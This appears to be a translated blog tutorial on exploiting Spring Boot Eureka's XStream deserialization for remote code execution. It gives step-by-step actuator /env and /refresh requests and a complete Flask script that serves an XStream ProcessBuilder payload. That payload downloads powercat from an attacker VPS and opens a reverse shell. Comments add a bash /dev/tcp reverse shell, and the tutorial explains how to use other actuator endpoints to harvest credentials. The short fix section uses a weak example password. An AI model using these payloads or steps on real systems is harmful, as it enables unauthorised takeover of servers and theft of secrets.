[web security] Spring Boot eureka xstream deserialization

1. Vulnerability Overview

Eureka is a submodule of the Spring Cloud Netflix module. It is the secondary encapsulation of Netflix Eureka by Spring Cloud. It is mainly responsible for the service registration and discovery functions of Spring Cloud. Developers only need to introduce relevant dependencies and annotations to easily integrate Spring Boot and Eureka. .

Security personnel (Michael Stepankin) found that the service registration and discovery functions may be abused. When the eureka.client.serviceUrl.defaultZone property is set to a malicious external eureka server URL address and /refresh triggers the target machine to request a remote URL, a fake set up in advance The eureka server will return a malicious payload. The target machine parses the payload and triggers XStream deserialization, resulting in an RCE vulnerability.

2. Conditions of use

1. The target can go out of the network

2. The target uses eureka-client < 1.8.7 (there is a spring-cloud-starter-netflix-eureka-client dependency)

3. Use POST to request the /env interface of the target website and set the zone attribute

4. You can request the /refresh interface of the target website to refresh the configuration by POST (there is a spring-boot-starter-actuator dependency)

3. Vulnerability environment

Web server: Windows Server 2012, JDK8u131 (1.13.190.222)

VPS: Ubuntu 16.04.7 LTS (162.14.73.205)

4. Normal access

Visit the URL: http://1.13.190.222:64000/env to get some sensitive data in json format.

5. Vulnerability Exploitation

[Personal letter reply to "data" acquisition]
1. Network security learning route
2. E-books (white hat)
3. Internal videosecuritycompany4,
100 copies of src documentsComplete Kit8, Emergency Response Notes



Prepare relevant files and monitoring services on the VPS server in advance, and use the fake server from VPS python to call and execute the code in series.

Web server: Windows Server 2012, JDK8u131 (1.13.190.222)

VPS: Ubuntu 16 (162.14.73.205)

Step 1: Set up the script

Example python script that responds to a malicious XStream payload (depending on Flask), the script also needs to be accompanied by shell commands.

For Linux, you can use the python that comes with the target machine to bounce the shell.

For Windows, use powercat.ps1 to bounce the shell.

Start the script python3 eureka-rce.py

Flask Server 8883

Step 2: NC Monitor

File Server 8000

For the windows platform shell, use python3 -m http.server 8000 to quickly build the powercat.ps1 file download service.

Use nc to listen on the port and wait for the bounce shell

nc-lvp 8885

Step 3: Set defaultZone

Set the eureka.client.serviceUrl.defaultZone property

Version 1: spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://162.14.73.205:8883/

Version 2: spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://162.14.73.205:8883"}

Returns 200, the body content is {"eureka.client.serviceUrl.defaultZone":"http://162.14.73.205:8883/"}, that is, the setting is successful.

Step 4: Refresh the configuration

Version 1: spring 1.x

Version 2: spring 2.x

Return 200, body [] is refreshed successfully.

Receive Shell

6. Bug fixes

Consider disabling the /env interface (endpoints.env.enabled=false), but it does not affect business/operation and maintenance. It is usually considered to authenticate the /env interface, by pom.xmlintroducing spring-boot-starter-securitydependencies under the file application.properties, enabling the security function in the file, configuring the access account password, and restarting the application.

pom.xml
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

application.properties
management.security.enabled=true
security.user.name=administrator
security.user.password=123456

appendix

1. python script

# -*- coding: utf-8 -*-
# home.php?mod=space&uid=59738    : 2022-3-11 20点48分
# home.php?mod=space&uid=210785    : eureka-rce.py

# linux反弹shell    
#             <string>/bin/bash</string>
#             <string>-c</string>
#             <string>bash -i >& /dev/tcp/162.14.73.205/8885 0>&1</string>

# windows反弹shell   
#              <string>powershell</string>
#              <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>

# windows反弹shell   
#              <string>cmd.exe</string>
#              <string>/c</string>
#              <string>ping %COMPUTERNAME%.6f9796ab.dns.bypass.eu.org</string>

# windows dnslog     https://dig.pm/
#              <string>cmd.exe</string>
#              <string>/c</string>
#              <string>ping 757013cd.dns.bypass.eu.org</string>

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
<string>powershell</string>
<string>IEX (New-Object System.Net.Webclient).DownloadString('http://162.14.73.205:8000/powercat.ps1');powercat -c 162.14.73.205 -p 8885 -e cmd</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8883)

2. Use of other interfaces

/env : Get environment properties, database password, etc. If the database is on the external network and is not restricted by a whitelist, you can get database permissions.

/mappings: Get the list of interfaces. If the interface is not authenticated, you can further obtain sensitive information.

/dump: Get a memory snapshot, with VisualVM you can further get sensitive information.

/trace: Obtain authentication information, similar to druid/index.html leaking authentication information such as session, which can be further used to break through permissions.

Guess you like

Origin blog.csdn.net/HBohan/article/details/123459283